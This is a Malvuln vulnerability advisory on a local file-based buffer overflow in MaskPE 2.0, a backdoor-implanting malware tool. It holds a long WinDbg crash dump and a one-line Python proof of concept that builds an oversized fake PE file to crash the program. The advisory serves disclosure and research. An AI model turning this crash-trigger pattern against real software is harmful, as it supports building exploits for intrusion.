Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/25e0570cc803cd77abc2268b41237937.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Nucleroot.bi - MaskPE 2.0 Vulnerability: File Based Buffer Overflow Description: MaskPE by yzkzero is a tool for implanting backdoors in existing PE files. The Backdoor tool doesnt properly check the files it loads and falls victim to a file based local buffer overflow. Type: PE32 MD5: 25e0570cc803cd77abc2268b41237937 Network Access: Local Vuln ID: MVID-2021-0027 ASLR: False DEP: False Safe SEH: True Disclosure: 01/15/2021 Memory Dump: The stored exception information can be accessed via .ecxr. (918.3fc): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=41414101 esi=00000003 edi=00000003 eip=773ced3c esp=0019e780 ebp=0019e910 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200212 ntdll!ZwWaitForMultipleObjects+0xc: 773ced3c c21400 ret 14h 0:000> .ecxr eax=456a4141 ebx=764db900 ecx=41414141 edx=41414101 esi=0019fbc0 edi=0019fbc0 eip=0040a0a3 esp=0019f0a0 ebp=024a1780 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 *** WARNING: Unable to verify checksum for Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3: 0040a0a3 813850450000 cmp dword ptr [eax],4550h ds:002b:456a4141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3 0040a0a3 813850450000 cmp dword ptr [eax],4550h EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0040a0a3 (Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x0000a0a3) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 456a4141 Attempt to read from address 456a4141 PROCESS_NAME: Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 456a4141 READ_ADDRESS: 456a4141 FOLLOWUP_IP: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3 0040a0a3 813850450000 cmp dword ptr [eax],4550h MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000003fc BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 00404ea6 to 0040a0a3 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0019f0a0 00404ea6 00000001 0019fb4c 0019f410 Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0xa0a3 0019fb4c 00000000 00000000 00000000 00000000 Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+0x4ea6 STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937 IMAGE_NAME: Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe DEBUG_FLR_IMAGE_TIMESTAMP: 44672333 FAILURE_BUCKET_ID: STRING_DEREFERENCE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Nucleroot.bi.25e0570cc803cd77abc2268b41237937.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_Backdoor_Win32_Nucleroot_bi_25e0570cc803cd77abc2268b41237937+a0a3 Followup: MachineOwner Exploit/PoC: python -c "print( 'MZ'+'A'*20000)" > doom.exe Load it into MaskPE and BOOM! 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